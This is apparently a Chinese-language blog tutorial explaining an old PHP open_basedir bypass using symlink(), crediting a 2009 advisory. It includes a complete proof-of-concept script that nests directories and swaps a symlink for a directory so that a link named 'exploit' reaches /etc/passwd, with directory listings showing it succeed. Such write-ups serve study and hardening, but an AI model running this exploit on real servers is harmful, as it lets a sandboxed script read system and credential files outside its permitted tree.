之前在网上看到相关php open_basedir bypass的文章都不是很理解,看了原作者的文章后总算明白了。
原文:http://cxsecurity.com/issue/WLB-2009110068
ok,先来了解一下什么是open_basedir。
open_basedir 将 PHP 所能打开的文件限制在指定的目录树,包括文件本身。本指令不受安全模式打开或者关闭的影响。
当一个脚本试图用例如 fopen() 或者 gzopen() 打开一个文件时,该文件的位置将被检查。当文件在指定的目录树之外时 PHP 将拒绝打开它。所有的符号连接都会被解析,所以不可能通过符号连接来避开此限制。
关于open_basedir的更多信息请参考:http://php.net/manual/zh/ini.core.php#ini.open-basedir
再来了解一下symlink()函数。
symlink — 建立符号连接
bool symlink ( string $target , string $link )
symlink() 对于已有的 target 建立一个名为 link 的符号连接
关于symlink()的更多信息请参考:http://php.net/manual/zh/function.symlink.php
接下来是一个例子,之所以能利用symlink()绕过open_basedir的限制,按照作者的话,这算是php的一个逻辑漏洞。
<?php
//sym.php
symlink("/etc/passwd", "./symlink");
?>
如果直接执行上面的文件,将会收到类似下面的提示:
Warning: symlink(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/www) in
/www/test/sym.php on line 2
这很正常,因为open_basedir=/www/ ,而我们要访问的是/etc/passwd,很明显不在范围之内,故而被拒绝了。
先说一下测试环境:
127# ls -la
total 8
drwxr-xr-x 2 www www 512 Oct 20 00:33 .
drwxr-xr-x 13 www www 1536 Oct 20 00:26 ..
- -rw-r--r-- 1 www www 356 Oct 20 00:32 kakao.php
- -rw-r--r-- 1 www www 45 Oct 20 00:26 sym.php
127# pwd
/www/test
刚才用sym.php无法绕过,现在用kakao.php来测试。
<?php
//kakao.php
mkdir("abc");
chdir("abc");
mkdir("etc");
chdir("etc");
mkdir("passwd");
chdir("..");
mkdir("abc");
chdir("abc");
mkdir("abc");
chdir("abc");
mkdir("abc");
chdir("abc");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("abc/abc/abc/abc","tmplink");
symlink("tmplink/../../../etc/passwd", "exploit");
unlink("tmplink");
mkdir("tmplink");
?>
成功执行kakao.php后,看一下当前目录有什么变化。
127# ls -la
total 12
drwxr-xr-x 4 www www 512 Oct 20 00:37 .
drwxr-xr-x 13 www www 1536 Oct 20 00:26 ..
drwxr-xr-x 4 www www 512 Oct 20 00:37 abc
lrwxr-xr-x 1 www www 27 Oct 20 00:37 exploit -> tmplink/../../../etc/passwd
- -rw-r--r-- 1 www www 356 Oct 20 00:32 kakao.php
- -rw-r--r-- 1 www www 45 Oct 20 00:26 sym.php
drwxr-xr-x 2 www www 512 Oct 20 00:37 tmplink
看出来了吧,多了一个链接文件和两个文件夹。此时访问文件exploit就相当于访问/etc/passwd了。
为什么这样就可以了呢?
这是PHP设计之初的一个逻辑缺陷,之所以能够访问"tmplink/../../../etc/passwd",是因为该路径真实存在,而且从头到尾没触发到open_basedir,所以当然可以访问得到。我们需要根据具体要访问的文件来构造目录,使得最终访问到的是我们想要访问的文件。